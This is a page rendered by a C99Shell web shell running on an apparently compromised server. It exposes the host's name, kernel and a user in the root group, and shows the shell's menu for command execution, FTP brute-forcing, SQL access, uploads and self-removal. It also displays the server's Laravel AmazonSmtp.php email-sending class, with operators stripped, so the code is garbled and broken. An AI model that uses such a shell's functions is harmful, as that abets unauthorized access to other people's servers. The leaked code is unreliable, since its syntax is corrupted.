!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/app/EmailProvider/   drwxr-xr-x
Free 28.26 GB of 117.98 GB (23.95%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AmazonSmtp.php (4.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\EmailProvider;


use 
App\Models\MessageLog;
use 
Aws\Exception\AwsException;
use 
Aws\Ses\SesClient;
use 
Illuminate\Support\Facades\Config;
use 
Illuminate\Support\Facades\Log;

class 
AmazonSmtp implements SendMailInterface
{

    public function 
message($message){
        
$this->message $message;

        return 
$this;
    }

    public function 
from($from)
    {
        
$this->from $from;
        return 
$this;
    }
    public function 
from_name($from_name)
    {
        
$this->from_name $from_name;
        return 
$this;
    }
    public function 
reply_to($reply_to)
    {
        
$this->reply_to $reply_to;
        return 
$this;
    }
    public function 
to($to)
    {
        
$this->to $to;
        return 
$this;
    }

    public function 
subject($subject)
    {
        
$this->subject $subject;
        return 
$this;
    }

    public function 
body($body)
    {
        
$this->body $body;
        return 
$this;
    }

    public function 
files($files){
        
$files  json_decode($files);
        
$files_arr = [];
        if (
$files) {
            foreach (
$files as $file) {
                
$files_arr[] = $file;
            }
        }
        
$this->files $files_arr;
        return 
$this;
    }

    public function 
config($config){

        
$this->config=$config;
        return 
$this;
    }

    public function 
process()
    {
        if(
$this->message){
            
$this->message_log=MessageLog::updateOrCreate([
                
'to'=>$this->message->to,
                
'from'=>$this->message->from,
                
'message_id'=>$this->message->id,
                
'customer_id'=>$this->message->customer_id,
                
'type'=>'sent',
            ],[
'status'=>'succeed','queue_id'=>$this->message->id]);
            
$messageLog $this->message_log;
        }

        try {
            
$server $this->config;
            if (isset(
$server) && isset($server->value)) {
                
$messageLog->status='pending';
                
$messageLog->save();

                
$templateBody replaceMessageBody($this->body$this->message_log->campaign_id$this->message_log->id);

                
$config_value json_decode($server->value);
                
$config = array(
                    
'driver' => 'smtp',
                    
'host' => "$config_value->hostname",
                    
'port' => "$config_value->port",
                    
'from' => array('address' => $this->message->reply_to'name' => $this->message->from_name),
                    
'encryption' => "$config_value->encryption_method",
                    
'username' => "$config_value->username",
                    
'password' => "$config_value->password",
                );
                
Config::set('mail'$config);

                
$SesClient = new SesClient([
                    
'profile' => 'default',
                    
'version' => '2010-12-01',
                    
'region' => $config_value->region
                
]);


                
$sender_email $this->from;
                
$recipient_emails = ["$this->to"];
                
$configuration_set 'ConfigSet';

                
$subject $this->subject;
                
$plaintext_body $templateBody;
                
$html_body $templateBody;

                
$result $SesClient->sendEmail([
                    
'Destination' => [
                        
'ToAddresses' => $recipient_emails,
                    ],
                    
'ReplyToAddresses' => ["$this->reply_to"],
                    
'Source' => $sender_email,
                    
'Message' => [
                        
'Body' => [
                            
'Html' => [
                                
'Charset' => 'UTF-8',
                                
'Data' => $html_body,
                            ],
                            
'Text' => [
                                
'Data' => $plaintext_body,
                            ],
                        ],
                        
'Subject' => [
                            
'Data' => $subject,
                        ],
                    ],
                    
// If you aren't using a configuration set, comment or delete the
                    
'ConfigurationSetName' => $configuration_set,
                ]);
                if (isset(
$result) && isset($result['MessageId'])){
                    
$messageLog->status='success';
                    
$messageLog->save();
                }
            }
        } catch (
AwsException $e) {
            
$messageLog->status='failed';
            
$messageLog->save();
            
Log::info($e->getMessage());
        }
    }


    public function 
errors()
    {
        
// TODO: Implement errors() method.
    
}
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--